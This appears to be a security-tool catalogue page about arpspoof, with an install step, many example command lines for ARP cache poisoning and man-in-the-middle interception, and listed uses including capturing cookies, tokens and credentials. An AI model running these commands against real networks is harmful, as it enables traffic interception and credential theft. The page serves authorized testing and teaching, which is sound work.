Sniffing & Spoofing
arpspoof redirects packets from a target host on the LAN to another host by forging ARP replies. It is a simple and effective utility part of the dsniff suite.
sudo apt install dsniff
arpspoof -i <interface> -t <target> <gateway>
arpspoof is a focused ARP cache poisoning tool from the dsniff suite that redirects traffic between two hosts on a local network. By forging ARP replies, it associates your MAC address with the IP address of another host, causing traffic to flow through your system.
Created by Dug Song, arpspoof is one of the simplest MITM tools available. Its minimal design makes it ideal for learning ARP spoofing fundamentals and for scenarios where a lightweight, single-purpose tool is preferred over comprehensive frameworks.
While modern frameworks like Bettercap offer more features, arpspoof remains valuable for its simplicity and reliability in basic ARP spoofing scenarios. It is often used in conjunction with other dsniff tools like dnsspoof and urlsnarf for complete MITM attack chains.
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1Poison target 192.168.1.10 to intercept traffic bound for gateway 192.168.1.1arpspoof -i eth0 -t 192.168.1.10 -r 192.168.1.1Poison both directions between the target and the gateway with -rarpspoof -i eth0 192.168.1.1Poison the entire LAN's ARP cache for the gateway (no specific target)arpspoof -i wlan0 -t 192.168.1.10 192.168.1.1Run the attack over a wireless interfacearpspoof -i eth0 -c host -t 192.168.1.10 192.168.1.1On exit, restore the victim using the real host's MAC addressarpspoof -i eth0 -c own -t 192.168.1.10 192.168.1.1On exit, send cleanup packets using the attacker's own MACarpspoof -i eth0 -c both -t 192.168.1.10 192.168.1.1On exit, attempt cleanup using both own and host MAC addressessysctl -w net.ipv4.ip_forward=1Enable IP forwarding so intercepted traffic still reaches its destinationecho 1 > /proc/sys/net/ipv4/ip_forwardAlternative way to enable kernel IP forwarding before spoofingarpspoof -t 192.168.1.10 192.168.1.1Run without -i, letting arpspoof pick the default interfacearpspoof -i eth0 -t 10.10.10.10 10.10.10.1Poison a target on a different subnet to intercept its gateway trafficarpspoof -i eth0 -t 192.168.1.20 -r 192.168.1.1Full man-in-the-middle between a second host and the gatewayarpspoof -i eth0 -t 192.168.1.10 192.168.1.50Impersonate a peer host (not the gateway) to intercept host-to-host trafficarpspoof -i eth0 -t 192.168.1.1 192.168.1.10Poison the gateway so it thinks the attacker is the victim (one leg of MITM)arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 > /dev/null 2>&1 &Run the poisoning in the background while another tool captures trafficRedirect target traffic through your system for interception and analysis.
Establish man-in-the-middle position before enabling sniffing tools.
Intercept unencrypted sessions to capture cookies, tokens, and credentials.
Verify network segmentation effectiveness and ARP spoofing resistance.
Teach ARP spoofing fundamentals in controlled lab environments.
Mirror traffic from production hosts to monitoring systems for analysis.
Sniffing & Spoofing
Modern MITM framework with ARP spoofing plus WiFi, BLE, and many other attack modules.
Sniffing & Spoofing
Classic MITM framework with ARP poisoning, DNS spoofing, and plugin system.
Sniffing & Spoofing
Command-line packet analyzer for capturing and inspecting network traffic.
Sniffing & Spoofing
GUI-based network protocol analyzer with deep packet inspection.
Sniffing & Spoofing
Suite of network auditing tools including arpspoof, dnsspoof, and urlsnarf.
Outputs a simple, continuous log of the deceptive messages being broadcast to the network.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.